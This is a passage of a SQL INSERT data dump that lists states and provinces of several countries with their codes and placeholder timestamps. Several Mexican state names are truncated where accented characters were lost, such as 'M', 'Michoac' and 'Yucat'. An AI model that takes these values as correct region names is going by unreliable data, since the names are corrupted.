'0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 223, 0, 'Virginia', 'VIA', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (48, 1, 223, 0, 'Washington', 'WAS', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 223, 0, 'West Virginia', 'WEV', 'WV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 223, 0, 'Wisconsin', 'WIS', 'WI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (51, 1, 223, 0, 'Wyoming', 'WYO', 'WY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 38, 0, 'Alberta', 'ALB', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (53, 1, 38, 0, 'British Columbia', 'BRC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 38, 0, 'Manitoba', 'MAB', 'MB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 38, 0, 'New Brunswick', 'NEB', 'NB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 38, 0, 'Newfoundland and Labrador', 'NFL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (57, 1, 38, 0, 'Northwest Territories', 'NWT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 38, 0, 'Nova Scotia', 'NOS', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (59, 1, 38, 0, 'Nunavut', 'NUT', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 38, 0, 'Ontario', 'ONT', 'ON', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 38, 0, 'Prince Edward Island', 'PEI', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 38, 0, 'Quebec', 'QEC', 'QC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 38, 0, 'Saskatchewan', 'SAK', 'SK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 38, 0, 'Yukon', 'YUT', 'YT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 222, 0, 'England', 'ENG', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (66, 1, 222, 0, 'Northern Ireland', 'NOI', 'NI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 222, 0, 'Scotland', 'SCO', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 222, 0, 'Wales', 'WLS', 'WS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 13, 0, 'Australian Capital Territory', 'ACT', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 13, 0, 'New South Wales', 'NSW', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (71, 1, 13, 0, 'Northern Territory', 'NOT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (72, 1, 13, 0, 'Queensland', 'QLD', 'QL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 13, 0, 'South Australia', 'SOA', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 13, 0, 'Tasmania', 'TAS', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 13, 0, 'Victoria', 'VIC', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 13, 0, 'Western Australia', 'WEA', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 138, 0, 'Aguascalientes', 'AGS', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 138, 0, 'Baja California Norte', 'BCN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 138, 0, 'Baja California Sur', 'BCS', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 138, 0, 'Campeche', 'CAM', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 138, 0, 'Chiapas', 'CHI', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 138, 0, 'Chihuahua', 'CHA', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 138, 0, 'Coahuila', 'COA', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 138, 0, 'Colima', 'COL', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 138, 0, 'Distrito Federal', 'DFM', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 138, 0, 'Durango', 'DGO', 'DO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 138, 0, 'Guanajuato', 'GTO', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (88, 1, 138, 0, 'Guerrero', 'GRO', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 138, 0, 'Hidalgo', 'HGO', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 138, 0, 'Jalisco', 'JAL', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (91, 1, 138, 0, 'M', 'EDM', 'EM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 138, 0, 'Michoac', 'MCN', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 138, 0, 'Morelos', 'MOR', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 138, 0, 'Nayarit', 'NAY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (95, 1, 138, 0, 'Nuevo Le', 'NUL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 138, 0, 'Oaxaca', 'OAX', 'OA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 138, 0, 'Puebla', 'PUE', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 138, 0, 'Quer', 'QRO', 'QU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (99, 1, 138, 0, 'Quintana Roo', 'QUR', 'QR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 138, 0, 'San Luis Potos', 'SLP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (101, 1, 138, 0, 'Sinaloa', 'SIN', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 138, 0, 'Sonora', 'SON', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (103, 1, 138, 0, 'Tabasco', 'TAB', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (104, 1, 138, 0, 'Tamaulipas', 'TAM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 138, 0, 'Tlaxcala', 'TLX', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 138, 0, 'Veracruz', 'VER', 'VZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 138, 0, 'Yucat', 'YUC', 'YU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 138, 0, 'Zacatecas', 'ZAC', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 30, 0, 'Acre', 'ACR', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 30, 0, 'Alagoas', 'ALG', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 30, 0, 'Amapá', 'AMP', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 30, 0, 'Amazonas', 'AMZ', 'AM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 30, 0, 'Bahía', 'BAH', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 30, 0, 'Ceará', 'CEA', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (115, 1, 30, 0, 'Distrito Federal', 'DFB', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 30, 0, 'Espírito Santo', 'ESS', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 30, 0, 'Goiás', 'GOI', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 30, 0, 'Maranhão', 'MAR', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 30, 0, 'Mato Grosso', 'MAT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 30, 0, 'Mato Grosso do Sul', 'MGS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 30, 0, 'Minas Gerais', 'MIG', 'MG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 30, 0, 'Paraná', 'PAR', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (123, 1, 30, 0, 'Paraíba', 'PRB', 'PB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 30, 0, 'Pará', 'PAB', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 30, 0, 'Pernambuco', 'PER', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 30, 0, 'Piauí', 'PIA', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 30, 0, 'Rio Grande do Norte', 'RGN', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 30, 0, 'Rio Grande do Sul', 'RGS', 'RS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (129, 1, 30, 0, 'Rio de Janeiro', 'RDJ', 'RJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 30, 0, 'Rondônia', 'RON', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 30, 0, 'Roraima', 'ROR', 'RR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 30, 0, 'Santa Catarina', 'SAC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 30, 0, 'Sergipe', 'SER', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 30, 0, 'São Paulo', 'SAP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 30, 0, 'Tocantins', 'TOC', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 44, 0, 'Anhui', 'ANH', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 44, 0, 'Beijing', 'BEI', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (138, 1, 44, 0, 'Chongqing', 'CHO', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 44, 0, 'Fujian', 'FUJ', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 44, 0, 'Gansu', 'GAN', '62', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 44, 0, 'Guangdong', 'GUA', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 44, 0, 'Guangxi Zhuang', 'GUZ', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (143, 1, 44, 0, 'Guizhou', 'GUI', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 44, 0, 'Hainan', 'HAI', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (145, 1, 44, 0, 'Hebei', 'HEB', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (146, 1, 44, 0, 'Heilongjiang', 'HEI', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 44, 0, 'Henan', 'HEN', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 44, 0, 'Hubei', 'HUB', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 44, 0, 'Hunan', 'HUN', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (150, 1, 44, 0, 'Jiangsu', 'JIA', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 44, 0, 'Jiangxi', 'JIX', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 44, 0, 'Jilin', 'JIL', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 44, 0, 'Liaoning', 'LIA', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 44, 0, 'Nei Mongol', 'NML', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (155, 1, 44, 0, 'Ningxia Hui', 'NIH', '64', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 44, 0, 'Qinghai', 'QIN', '63', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (157, 1, 44, 0, 'Shandong', 'SNG', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 44, 0, 'Shanghai', 'SHH', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 44, 0, 'Shaanxi', 'SHX', '61', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 44, 0, 'Sichuan', 'SIC', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 44, 0, 'Tianjin', 'TIA', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 44, 0, 'Xinjiang Uygur', 'XIU', '65', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 44, 0, 'Xizang', 'XIZ', '54', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 44, 0, 'Yunnan', 'YUN', '53', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 44, 0, 'Zhejiang', 'ZHE', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 104, 0, 'Israel', 'ISL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 104, 0, 'Gaza Strip', 'GZS', 'GZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 104, 0, 'West Bank', 'WBK', 'WB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 151, 0, 'St. Maarten', 'STM', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 151, 0, 'Bonaire', 'BNR', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 151, 0, 'Curacao', 'CUR', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 175, 0, 'Alba', 'ABA', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 175, 0, 'Arad', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 175, 0, 'Arges', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 175, 0, 'Bacau', 'BAC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 175, 0, 'Bihor', 'BIH', 'BH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 175, 0, 'Bistrita-Nasaud', 'BIS', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 175, 0, 'Botosani', 'BOT', 'BT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 175, 0, 'Braila', 'BRL', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 175, 0, 'Brasov', 'BRA', 'BV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 175, 0, 'Bucuresti', 'BUC', 'B', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 175, 0, 'Buzau', 'BUZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 175, 0, 'Calarasi', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 175, 0, 'Caras Severin', 'CRS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 175, 0, 'Cluj', 'CLJ', 'CJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 175, 0, 'Constanta', 'CST', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 175, 0, 'Covasna', 'COV', 'CV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 175, 0, 'Dambovita', 'DAM', 'DB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 175, 0, 'Dolj', 'DLJ', 'DJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 175, 0, 'Galati', 'GAL', 'GL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 175, 0, 'Giurgiu', 'GIU', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 175, 0, 'Gorj', 'GOR', 'GJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 175, 0, 'Hargita', 'HRG', 'HR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 175, 0, 'Hunedoara', 'HUN', 'HD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 175, 0, 'Ialomita', 'IAL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 175, 0, 'Iasi', 'IAS', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 175, 0, 'Ilfov', 'ILF', 'IF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 175, 0, 'Maramures', 'MAR', 'MM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 175, 0, 'Mehedinti', 'MEH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 175, 0, 'Mures', 'MUR', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 175, 0, 'Neamt', 'NEM', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (202, 1, 175, 0, 'Olt', 'OLT', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (203, 1, 175, 0, 'Prahova', 'PRA', 'PH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (204, 1, 175, 0, 'Salaj', 'SAL', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (205, 1, 175, 0, 'Satu Mare', 'SAT', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (206, 1, 175, 0, 'Sibiu', 'SIB', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (207, 1, 175, 0, 'Suceava', 'SUC', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (208, 1, 175, 0, 'Teleorman', 'TEL', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (209, 1, 175, 0, 'Timis', 'TIM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (210, 1, 175, 0, 'Tulcea', 'TUL', 'TL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (211, 1, 175, 0, 'Valcea', 'VAL', 'VL', 0, 0, 1, '0000-00-00 00:00:00', 0, 